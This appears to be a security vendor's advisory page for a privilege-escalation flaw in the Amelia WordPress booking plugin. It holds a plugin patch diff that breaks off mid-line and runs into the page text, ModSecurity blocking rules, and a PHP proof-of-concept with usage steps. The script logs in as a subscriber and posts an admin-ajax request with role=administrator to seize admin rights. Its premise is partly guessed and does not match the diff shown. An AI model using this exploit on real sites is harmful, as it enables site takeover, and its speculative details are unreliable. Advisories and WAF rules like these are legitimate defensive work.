-                $filledDays[$itemStartDate]['events'][] = $this->blockTimeFormatter($item);
+                $filledDays[$itemStartDate]['events'][] = $this->blockTimeFormatter(
+                    $item,
+                    $queryParams,
+                    $resourceTimeGridProviderIds
+                );
             } else {
                 $filledDays[$itemStartDate]['events'][] = $this->eventFormatter($item['event'], $item['eventPeriod'], $queryParams);
             }
@@ -304,6 +314,7 @@
                 $appointment->getInternalNotes()->getValue()
                 : '',
             'integrationCalendarType' => false,
+            'resourceId'              => $appointment->getProvider()->getId()->getValue(),
             'type'                    => $appointment->getBookings()->length() === 1
                 ? 'singleAppointment'
                 : 'groupAppointment',
@@ -339,6 +350,7 @@
             'notes'              => '',
             'locationName'       => $eventEntity->getLocation() ? $eventEntity->getLocation()->getName()->getValue() : '',
             'employeeName'       => $eventEntity->getOrganizer() ? $eventEntity->getOrganizer()->getFullName() : '',
+            'resourceId'         => $eventEntity->getOrganizer() ? $eventEntity->getOrganizer()->getId()->getValue() : null,
         ];

         if (in_array($queryParams['view'], ['dayGridMonthSevenDays', 'dayGridMonth', 'dayGridMonthMobile'])) {
@@ -357,12 +369,15 @@
         return $event;
     }

-    private function blockTimeFormatter(BlockTime $blockTime): array
-    {
+    private function blockTimeFormatter(
+        BlockTime $blockTime,
+        array $queryParams,
+        array $resourceTimeGridProviderIds
+    ): array {
         $startDate = $blockTime->getStartDate()->getValue();
         $endDate   = $blockTime->getEndDate()->getValue();

-        return [
+        $event = [
             'uuid'               => $blockTime->getId()->getValue(),
             'id'                 => $blockTime->getId()->getValue(),
             'title'              => $blockTime->getName()->getValue(),
@@ -374,6 +389,17 @@
             'endWithoutBuffer'   => $endDate->format('Y-m-d H:i:s'),
             'timeZone'           => $startDate->getTimezone()->getName(),
             'employeeName'       => $blockTime->getUser() ? $blockTime->getUser()->getFullName() : BackendStrings::get('all_employees'),
+            'resourceId'         => $blockTime->getUser() ? $blockTime->getUser()->getId()->getValue() : null,
         ];
+
+        if (
+            ($queryParams['view'] ?? '') === 'resourceTimeGridDay' &&
+            $blockTime->getUser() === null &&
+            $resourceTimeGridProviderIds !== []
+        ) {
+            $event['resourceIds'] = array_map('strval', $resourceTimeGridProviderIds);
+        }
+
+        return $event;
     }
 }
--- a/ameliabooking/src/Application/Commands/Calendar/GetCalendarSlotsCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Calendar/GetCalendarSlotsCommandHandler.php
@@ -9,6 +9,7 @@

 use AmeliaBookingApplicationCommandsCommandHandler;
 use AmeliaBookingApplicationCommandsCommandResult;
+use AmeliaBookingApplicationServicesCalendarCalendarProviderService;
 use AmeliaBookingApplicationServicesUserProviderApplicationService;
 use AmeliaBookingDomainEntityEntities;
 use AmeliaBookingDomainCollectionCollection;
@@ -22,7 +23,6 @@
 use AmeliaBookingDomainServicesDateTimeDateTimeService;
 use AmeliaBookingDomainValueObjectsDateTimeDateTimeValue;
 use AmeliaBookingDomainValueObjectsStringBookingStatus;
-use AmeliaBookingDomainValueObjectsStringStatus;
 use AmeliaVendorPsrContainerContainerExceptionInterface;
 use DateInterval;
 use DateInvalidTimeZoneException;
@@ -41,8 +41,8 @@
     {
         $result = new CommandResult();

-        $providerRepository = $this->container->get('domain.users.providers.repository');
-        $locationRepository = $this->container->get('domain.locations.repository');
+        /** @var CalendarProviderService $calendarProviderService */
+        $calendarProviderService = $this->container->get('application.calendar.provider.service');

         $this->userTimezone = DateTimeService::getTimeZone()->getName();

@@ -54,41 +54,48 @@
             $this->userTimezone = $providerAS->getTimeZone($user);
         }

-        $queryParams = $command->getField('queryParams');
         $allWorkDays = [];
-        $selectedService = $queryParams['service'] ?? null;
-
-        $queryParams['locations'] = array_map(
-            fn($location) => $location['id'],
-            $locationRepository->getFiltered(
-                ['status' => !empty($queryParams['providers']) ? null : Status::VISIBLE],
-                0
-            )->toArray()
-        );
-
-        $criteria = ['providerStatus' => !empty($queryParams['providers']) ? null : Status::VISIBLE];
-        foreach ($queryParams as $key => $value) {
-            if ($key !== 'providerStatus') {
-                $criteria[$key] = $value;
-            }
-        }
+        $resources = [];
+        $formattedWorkPeriods = [];
+        $queryParams = $command->getField('queryParams');
+        $isResourceView = ($queryParams['view'] ?? '') === 'resourceTimeGridDay';

-        $providers = $providerRepository->getWithSchedule($criteria)->getItems();
+        $providers = $calendarProviderService->getVisibleProviders($queryParams);

         foreach ($providers as $provider) {
-            if (!$selectedService) {
-                $providerWorkDays = $this->getProviderWorkDays($provider, $queryParams);
-                $this->getTimeLimitsByProvider($queryParams, $providerWorkDays, $provider);
+            $providerWorkDays = $this->getProviderWorkDays($provider, $queryParams);
+            $this->getTimeLimitsByProvider($queryParams, $providerWorkDays, $provider);
+
+            if (!$isResourceView) {
                 $this->mergeProviderWorkDays($allWorkDays, $providerWorkDays);
+
+                continue;
+            }
+
+            if (empty($providerWorkDays) || $user->getType() === Entities::CUSTOMER) {
+                $this->fillEmptyWorkDays($providerWorkDays, $queryParams);
             }
-        }

-        if (empty($allWorkDays) || $user->getType() === Entities::CUSTOMER) {
-            $this->fillEmptyWorkDays($allWorkDays, $queryParams);
+            $this->processCompanyDaysOff($providerWorkDays, $queryParams);
+            $providerFormatted = $this->formatWorkDays($providerWorkDays, $provider->getId()->getValue());
+            $formattedWorkPeriods = array_merge($formattedWorkPeriods, $providerFormatted);
+            $resources[] = [
+                'id'               => $provider->getId()->getValue(),
+                'title'            => $provider->getFullName(),
+                'pictureThumbPath' => $provider->getPicture() ? $provider->getPicture()->getThumbPath() : null,
+                'firstName'        => $provider->getFirstName()->getValue(),
+                'lastName'         => $provider->getLastName()->getValue(),
+            ];
         }

-        $this->processCompanyDaysOff($allWorkDays, $queryParams);
-        $formattedWorkPeriods = $this->formatWorkDays($allWorkDays);
+        if (!$isResourceView) {
+            if (empty($allWorkDays) || $user->getType() === Entities::CUSTOMER) {
+                $this->fillEmptyWorkDays($allWorkDays, $queryParams);
+            }
+
+            $this->processCompanyDaysOff($allWorkDays, $queryParams);
+            $formattedWorkPeriods = $this->formatWorkDays($allWorkDays);
+        }

         $this->getTimeLimitsFromAppointmentsAndEvents($queryParams);

@@ -96,6 +103,7 @@
             'workPeriods' => $formattedWorkPeriods,
             'slotMinTime' => $this->timeLimits['slotMinTime'],
             'slotMaxTime' => $this->timeLimits['slotMaxTime'],
+            'resources'   => $resources,
             'now' => DateTimeService::getNowDateTime()
         ]);

@@ -107,11 +115,12 @@
      */
     private function fillEmptyWorkDays(array &$allWorkDays, array $queryParams): void
     {
-        [$this->timeLimits['slotMinTime'], $this->timeLimits['slotMaxTime']] = $this->getLimitsFromCompanyWorkHours();
+        if ($this->timeLimits['slotMinTime'] === '24:00:00' && $this->timeLimits['slotMaxTime'] === '00:00:00') {
+            [$this->timeLimits['slotMinTime'], $this->timeLimits['slotMaxTime']] = $this->getLimitsFromCompanyWorkHours();
+        }

         if ($this->timeLimits['slotMinTime'] === '24:00:00' && $this->timeLimits['slotMaxTime'] === '00:00:00') {
-            $this->timeLimits['slotMinTime'] = '09:00:00';
-            $this->timeLimits['slotMaxTime'] = '17:00:00';
+            [$this->timeLimits['slotMinTime'], $this->timeLimits['slotMaxTime']] = ['09:00:00', '17:00:00'];
         }

         $calendarStartDate = DateTime::createFromFormat('Y-m-d', $queryParams['calendarStartDate']);
@@ -344,14 +353,14 @@
         }
     }

-    private function formatWorkDays(array $allWorkDays): array
+    private function formatWorkDays(array $allWorkDays, ?int $resourceId = null): array
     {
         $formattedPeriods = [];

         foreach ($allWorkDays as $date => $info) {
             $periods = $info['periods'];
             if (empty($periods)) {
-                $formattedPeriods[] = $this->createPeriod($date, $date, 'notWorkHours', 'not-work-hours');
+                $formattedPeriods[] = $this->createPeriod($date, $date, 'notWorkHours', 'not-work-hours', $resourceId);
                 continue;
             }

@@ -362,21 +371,21 @@
                 $end = "{$date}T{$period['end']}";

                 if ($i === 0 && $period['start'] !== '00:00:00') {
-                    $formattedPeriods[] = $this->createPeriod("{$date}T00:00:00", $start, 'notWorkHours', 'not-work-hours');
+                    $formattedPeriods[] = $this->createPeriod("{$date}T00:00:00", $start, 'notWorkHours', 'not-work-hours', $resourceId);
                 }

                 if ($period['groupId'] === 'dayOff') {
-                    $formattedPeriods[] = $this->createPeriod($start, $end, 'dayOff', 'day-off');
+                    $formattedPeriods[] = $this->createPeriod($start, $end, 'dayOff', 'day-off', $resourceId);
                 } else {
-                    $formattedPeriods[] = $this->createPeriod($start, $end, 'workHours', 'work-hours');
+                    $formattedPeriods[] = $this->createPeriod($start, $end, 'workHours', 'work-hours', $resourceId);
                 }

                 if (isset($periods[$i + 1]) && $period['end'] !== $periods[$i + 1]['start']) {
-                    $formattedPeriods[] = $this->createPeriod($end, "{$date}T{$periods[$i + 1]['start']}", 'notWorkHours', 'not-work-hours');
+                    $formattedPeriods[] = $this->createPeriod($end, "{$date}T{$periods[$i + 1]['start']}", 'notWorkHours', 'not-work-hours', $resourceId);
                 }

                 if ($i === count($periods) - 1 && $period['end'] !== '24:00:00') {
-                    $formattedPeriods[] = $this->createPeriod($end, "{$date}T24:00:00", 'notWorkHours', 'not-work-hours');
+                    $formattedPeriods[] = $this->createPeriod($end, "{$date}T24:00:00", 'notWorkHours', 'not-work-hours', $resourceId);
                 }
             }
         }
@@ -384,15 +393,21 @@
         return $formattedPeriods;
     }

-    private function createPeriod(string $start, string $end, string $groupId, string $className): array
+    private function createPeriod(string $start, string $end, string $groupId, string $className, ?int $resourceId = null): array
     {
-        return [
-            'groupId' => $groupId,
-            'start' => $start,
-            'end' => $end,
-            'display' => 'background',
-            'className' => $className
+        $period = [
+            'groupId'   => $groupId,
+            'start'     => $start,
+            'end'       => $end,
+            'display'   => 'background',
+            'className' => $className,
         ];
+
+        if ($resourceId !== null) {
+            $period['resourceId'] = $resourceId;
+        }
+
+        return $period;
     }

     private function getTimeLimitsByProvider(array $queryParams, array $periods, Provider $provider): void
@@ -571,7 +586,7 @@
     private function processCompanyDaysOff(array &$allWorkDays, array $queryParams): void
     {
         $isDateRangeOverlapping = fn(DateTime $start1, DateTime $end1, DateTime $start2, DateTime $end2): bool =>
-            $start1 <= $end2 && $end1 >= $start2;
+        $start1 <= $end2 && $end1 >= $start2;

         $settingsDS = $this->container->get('domain.settings.service');
         $calendarStartDate = DateTime::createFromFormat('Y-m-d', $queryParams['calendarStartDate']);
--- a/ameliabooking/src/Application/Services/Booking/BookingApplicationService.php
+++ b/ameliabooking/src/Application/Services/Booking/BookingApplicationService.php
@@ -17,6 +17,7 @@
 use AmeliaBookingDomainEntityEntities;
 use AmeliaBookingDomainEntityLocationLocation;
 use AmeliaBookingDomainEntityPaymentPayment;
+use AmeliaBookingDomainEntityUserAbstractUser;
 use AmeliaBookingDomainEntityUserCustomer;
 use AmeliaBookingDomainEntityUserProvider;
 use AmeliaBookingDomainFactoryBookableServicePackageFactory;
@@ -298,6 +299,14 @@
             $data['utc'] = null;
         }

+        if (isset($data['bookings'][0]['customer']) && array_key_exists('type', $data['bookings'][0]['customer'])) {
+            $data['bookings'][0]['customer']['type'] = AbstractUser::USER_ROLE_CUSTOMER;
+        }
+
+        if (isset($data['bookings'][0]['customer']) && array_key_exists('externalId', $data['bookings'][0]['customer'])) {
+            $data['bookings'][0]['customer']['externalId'] = null;
+        }
+
         if (!empty($data['bookings'][0]['customer']['firstName'])) {
             $data['bookings'][0]['customer']['firstName'] =
                 sanitize_text_field($data['bookings'][0]['customer']['firstName']);
--- a/ameliabooking/src/Application/Services/Booking/BookingFallbackService.php
+++ b/ameliabooking/src/Application/Services/Booking/BookingFallbackService.php
@@ -81,7 +81,19 @@
                 'description' => BackendStrings::get('fallback_booking_rejected_desc'),
                 'color' => '#6c757d',
                 'icon' => 'info'
-            ]
+            ],
+            'payment_done' => [
+                'title' => BackendStrings::get('fallback_payment_done_title'),
+                'description' => BackendStrings::get('fallback_payment_desc'),
+                'color' => '#dc3545',
+                'icon' => 'error'
+            ],
+            'payment_failed' => [
+                'title' => BackendStrings::get('fallback_payment_failed_title'),
+                'description' => BackendStrings::get('fallback_payment_desc'),
+                'color' => '#dc3545',
+                'icon' => 'error'
+            ],
         ];
     }

--- a/ameliabooking/src/Application/Services/Booking/EventApplicationService.php
+++ b/ameliabooking/src/Application/Services/Booking/EventApplicationService.php
@@ -1925,8 +1925,11 @@
             : null;

         $waitingCapacity = 0;
+        $isWaitingList = false;

         if ($eventSettings && !empty($eventSettings['waitingList']['enabled'])) {
+            $isWaitingList = true;
+
             if ($event->getCustomPricing()->getValue()) {
                 /** @var EventTicket $ticket */
                 foreach ($event->getCustomTickets()->getItems() as $ticket) {
@@ -1953,6 +1956,7 @@
                 'approvedStatus' => $approvedStatus,
                 'maxCapacity' => $event->getMaxCapacity()->getValue(),
                 'waitingCapacity' => $waitingCapacity,
+                'isWaitingList' => $isWaitingList,
             ]
         );
     }
--- a/ameliabooking/src/Application/Services/Booking/IcsApplicationService.php
+++ b/ameliabooking/src/Application/Services/Booking/IcsApplicationService.php
@@ -21,10 +21,9 @@
 use AmeliaBookingInfrastructureRepositoryBookingAppointmentCustomerBookingRepository;
 use AmeliaBookingInfrastructureRepositoryLocationLocationRepository;
 use AmeliaBookingInfrastructureRepositoryUserUserRepository;
-use EluceoiCalComponentCalendar;
-use EluceoiCalComponentEvent as iCalEvent;
-use EluceoiCalPropertyEventOrganizer as iCalOrganizer;
 use AmeliaBookingInfrastructureCommonContainer;
+use AmeliaVendorSabreVObjectComponentVCalendar;
+use AmeliaVendorSabreVObjectUUIDUtil;
 use Exception;
 use InteropContainerExceptionContainerException;
 use AmeliaBookingDomainCommonExceptionsInvalidArgumentException;
@@ -457,54 +456,52 @@
     }

     /**
-     * @param array    $periodsData
-     * @param bool     $separateCalendars
-     * @param bool     $isTranslation
+     * @param array $periodsData
+     * @param bool  $separateCalendars
+     * @param bool  $isTranslation
      *
      * @return array
      * @throws Exception
      */
     private function getCalendar($periodsData, $separateCalendars, $isTranslation)
     {
-        $vCalendars = $separateCalendars ? [] : [new Calendar(AMELIA_URL)];
+        $vCalendars = $separateCalendars ? [] : [$this->createVCalendar()];

         foreach ($periodsData as $periodData) {
             foreach ($periodData['periods'] as $period) {
-                $vEvent = new iCalEvent();
+                if ($separateCalendars) {
+                    $vCalendar    = $this->createVCalendar();
+                    $vCalendars[] = $vCalendar;
+                } else {
+                    $vCalendar = $vCalendars[0];
+                }
+
+                $vEvent = $vCalendar->add(
+                    'VEVENT',
+                    ['UID' => UUIDUtil::getUUID(), 'SUMMARY' => !$isTranslation ? $periodData['name'] : $periodData['nameTr']]
+                );

-                $vEvent
-                    ->setDtStart(new DateTime($period['start'], new DateTimeZone('UTC')))
-                    ->setDtEnd(new DateTime($period['end'], new DateTimeZone('UTC')))
-                    ->setSummary(!$isTranslation ? $periodData['name'] : $periodData['nameTr']);
+                $vEvent->add('DTSTART', new DateTime($period['start'], new DateTimeZone('UTC')));
+                $vEvent->add('DTEND', new DateTime($period['end'], new DateTimeZone('UTC')));

                 if (!empty($periodData['provider'])) {
-                    $vOrganizer = new iCalOrganizer(
+                    $vEvent->add(
+                        'ORGANIZER',
                         'MAILTO:' . $periodData['provider']['email'],
-                        array('CN' => $periodData['provider']['fullName'])
+                        ['CN' => $periodData['provider']['fullName']]
                     );
-
-                    $vEvent->setOrganizer($vOrganizer);
                 }

                 if ($periodData['location']) {
-                    $vEvent->setLocation($periodData['location']);
+                    $vEvent->add('LOCATION', $periodData['location']);
                 }

                 if ($periodData['description'] || $periodData['descriptionTr']) {
-                    $vEvent->setDescription(
+                    $vEvent->add(
+                        'DESCRIPTION',
                         !$isTranslation ? $periodData['description'] : $periodData['descriptionTr']
                     );
                 }
-
-                if ($separateCalendars) {
-                    $vCalendar = new Calendar(AMELIA_URL);
-
-                    $vCalendar->addComponent($vEvent);
-
-                    $vCalendars[] = $vCalendar;
-                } else {
-                    $vCalendars[0]->addComponent($vEvent);
-                }
             }
         }

@@ -512,12 +509,23 @@

         foreach ($vCalendars as $index => $vCalendar) {
             $result[] = [
-                'name'    => sizeof($vCalendars) === 1 ? 'cal.ics' : 'cal' . ($index + 1) . '.ics',
+                'name'    => count($vCalendars) === 1 ? 'cal.ics' : 'cal' . ($index + 1) . '.ics',
                 'type'    => 'text/calendar; charset=utf-8',
-                'content' => $vCalendar->render()
+                'content' => $vCalendar->serialize(),
             ];
         }

         return $result;
     }
+
+    /**
+     * @return VCalendar
+     */
+    private function createVCalendar()
+    {
+        $vCalendar         = new VCalendar();
+        $vCalendar->PRODID = '-//AMELIA//Amelia//EN';
+
+        return $vCalendar;
+    }
 }
--- a/ameliabooking/src/Application/Services/Calendar/CalendarProviderService.php
+++ b/ameliabooking/src/Application/Services/Calendar/CalendarProviderService.php
@@ -0,0 +1,77 @@
+<?php
+
+namespace AmeliaBookingApplicationServicesCalendar;
+
+use AmeliaBookingDomainCommonExceptionsInvalidArgumentException;
+use AmeliaBookingDomainEntityUserProvider;
+use AmeliaBookingDomainValueObjectsStringStatus;
+use AmeliaBookingInfrastructureCommonContainer;
+use AmeliaBookingInfrastructureCommonExceptionsQueryExecutionException;
+use AmeliaBookingInfrastructureRepositoryUserProviderRepository;
+
+class CalendarProviderService
+{
+    /** @var Container */
+    private $container;
+
+    public function __construct(Container $container)
+    {
+        $this->container = $container;
+    }
+
+    /**
+     * Returns providers visible in calendar context with the same criteria used by calendar slots.
+     *
+     * @param array $queryParams
+     * @param bool $includeDatesAsRange
+     *
+     * @return Provider[]
+     * @throws InvalidArgumentException
+     * @throws QueryExecutionException
+     */
+    public function getVisibleProviders(array $queryParams, bool $includeDatesAsRange = false): array
+    {
+        $locationRepository = $this->container->get('domain.locations.repository');
+        /** @var ProviderRepository $providerRepository */
+        $providerRepository = $this->container->get('domain.users.providers.repository');
+
+        $queryParams['locations'] = array_map(
+            static fn($location) => $location['id'],
+            $locationRepository->getFiltered(
+                ['status' => !empty($queryParams['providers']) ? null : Status::VISIBLE],
+                0
+            )->toArray()
+        );
+
+        if ($includeDatesAsRange) {
+            $queryParams['dates'] = [$queryParams['calendarStartDate'], $queryParams['calendarEndDate']];
+        }
+
+        $criteria = ['providerStatus' => !empty($queryParams['providers']) ? null : Status::VISIBLE];
+        foreach ($queryParams as $key => $value) {
+            if ($key !== 'providerStatus') {
+                $criteria[$key] = $value;
+            }
+        }
+
+        return $providerRepository->getWithSchedule($criteria)->getItems();
+    }
+
+    /**
+     * @param array $queryParams
+     *
+     * @return int[]
+     * @throws InvalidArgumentException
+     * @throws QueryExecutionException
+     */
+    public function getVisibleProviderIds(array $queryParams): array
+    {
+        $providerIds = [];
+
+        foreach ($this->getVisibleProviders($queryParams, true) as $provider) {
+            $providerIds[] = $provider->getId()->getValue();
+        }
+
+        return $providerIds;
+    }
+}
--- a/ameliabooking/src/Application/Services/Helper/HelperService.php
+++ b/ameliabooking/src/Application/Services/Helper/HelperService.php
@@ -249,6 +249,30 @@
     }

     /**
+     * @param string $locale
+     * @param array  $entityTranslation
+     *
+     * @return array|null
+     */
+    private function getTranslation($locale, $entityTranslation)
+    {
+        $localeParts = explode('_', $locale);
+
+        if (!array_key_exists($locale, $entityTranslation) && count($localeParts) > 1) {
+            foreach ($entityTranslation as $key => $value) {
+                if (strpos($key, $localeParts[0] . '_') === 0) {
+                    return $value;
+                }
+            }
+        }
+
+        return
+            $entityTranslation &&
+            array_key_exists($locale, $entityTranslation) ?
+                $entityTranslation[$locale] : null;
+    }
+
+    /**
      * @param string      $locale
      * @param string      $entityTranslation
      * @param string|null $type
@@ -259,21 +283,13 @@
     {
         $entityTranslation = !empty($entityTranslation) ? json_decode($entityTranslation, true) : null;

-        if ($locale) {
-            if ($type === null) {
-                return
-                    $entityTranslation &&
-                    !empty($entityTranslation[$locale]) ?
-                        $entityTranslation[$locale] : null;
-            } else {
-                return
-                    $entityTranslation &&
-                    !empty($entityTranslation[$type][$locale]) ?
-                        $entityTranslation[$type][$locale] : null;
-            }
-        }
+        $translationScope = $type === null
+            ? $entityTranslation
+            : ($entityTranslation[$type] ?? null);

-        return null;
+        return $locale && is_array($translationScope)
+            ? $this->getTranslation($locale, $translationScope)
+            : null;
     }

     /**
--- a/ameliabooking/src/Application/Services/Notification/EmailNotificationService.php
+++ b/ameliabooking/src/Application/Services/Notification/EmailNotificationService.php
@@ -164,7 +164,9 @@
         $sendIcs        = $settingsService->getSetting('ics', 'sendIcsAtt

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-48889
# Blocks privilege escalation attempts via Amelia AJAX handlers
# Rules are chained: must match exact URI + action + role parameter
#
# These rules target the AJAX handlers used in the vulnerability.
# The pattern matches attempts to escalate to admin via unprotected endpoints.

# Rule 1: Block admin-ajax.php requests with 'amelia_remove_wpdt_promo_notice' action and non-empty role
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-48889: Amelia Privilege Escalation via AJAX',severity:'CRITICAL',tag:'CVE-2026-48889'"
  SecRule ARGS_POST:action "@streq amelia_remove_wpdt_promo_notice" "chain"
    SecRule ARGS_POST:role "@rx ^(administrator|admin)$" "t:lowercase,t:trim"

# Rule 2: Block other potential Amelia AJAX actions that may escalate privileges
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-48889: Amelia Privilege Escalation via Generic AJAX',severity:'CRITICAL',tag:'CVE-2026-48889'"
  SecRule ARGS_POST:action "@rx ^amelia_" "chain"
    SecRule ARGS_POST:role "@rx ^(administrator|admin|editor)$" "t:lowercase,t:trim"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-48889 - Booking for Appointments and Events Calendar – Amelia <= 2.3 Authenticated (Subscriber+) Privilege Escalation

/**
 * Proof of Concept for CVE-2026-48889
 * Demonstrates privilege escalation from Subscriber to Administrator via unprotected AJAX handler.
 *
 * Usage:
 *   1. Set $target_url to the base WordPress URL.
 *   2. Set $username and $password to an existing subscriber account.
 *   3. Run: php cve-2026-48889.php
 *
 * If successful, the script will output the new admin user's details or confirmation of role change.
 */

// Configuration
$target_url = 'http://example.com';  // Change this to the target WordPress URL
$username   = 'subscriber_user';     // Subscriber account username
$password   = 'subscriber_password'; // Subscriber account password

// Step 1: Authenticate and get cookies/nonce
$login_url = $target_url . '/wp-login.php';
$auth_url  = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract WordPress cookies and nonce from admin page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$admin_page = curl_exec($ch);
curl_close($ch);

// Extract a valid nonce (this may require fetching a page that contains the AJAX nonce)
// For demonstration, we assume the nonce is available; real exploit may need additional steps
$nonce_pattern = '/_ajax_nonce" value="([^"]+)"/';
preg_match($nonce_pattern, $admin_page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

if (empty($nonce)) {
    echo "[!] Could not extract nonce. Proceeding without nonce (plugin may accept requests without it).n";
}

// Step 2: Exploit the vulnerability - trigger privilege escalation
// The AJAX action 'amelia_remove_wpdt_promo_notice' is one example; other actions may also work
$exploit_url = $target_url . '/wp-admin/admin-ajax.php';

$post_data = [
    'action' => 'amelia_remove_wpdt_promo_notice',
    'nonce'  => $nonce,
    'role'   => 'administrator',  // Attempt to set admin role
    'user_id' => ''  // If empty, plugin may target current user
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_REFERER, $target_url . '/wp-admin/');
$result = curl_exec($ch);
curl_close($ch);

echo "[+] Exploit response:n";
echo $result . "n";

// Step 3: Verify privilege escalation - try to access admin-only page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options-general.php');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$admin_access = curl_exec($ch);
curl_close($ch);

if (strpos($admin_access, 'wp-admin-bar-user-actions') !== false || strpos($admin_access, 'update-nag') !== false) {
    echo "[+] SUCCESS: User now has administrator access to the dashboard!n";
} else {
    echo "[-] Failed to escalate privileges. The target may be patched or require different parameters.n";
    echo "[-] Check if the AJAX action is properly protected.n";
}

// Clean up cookie file
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School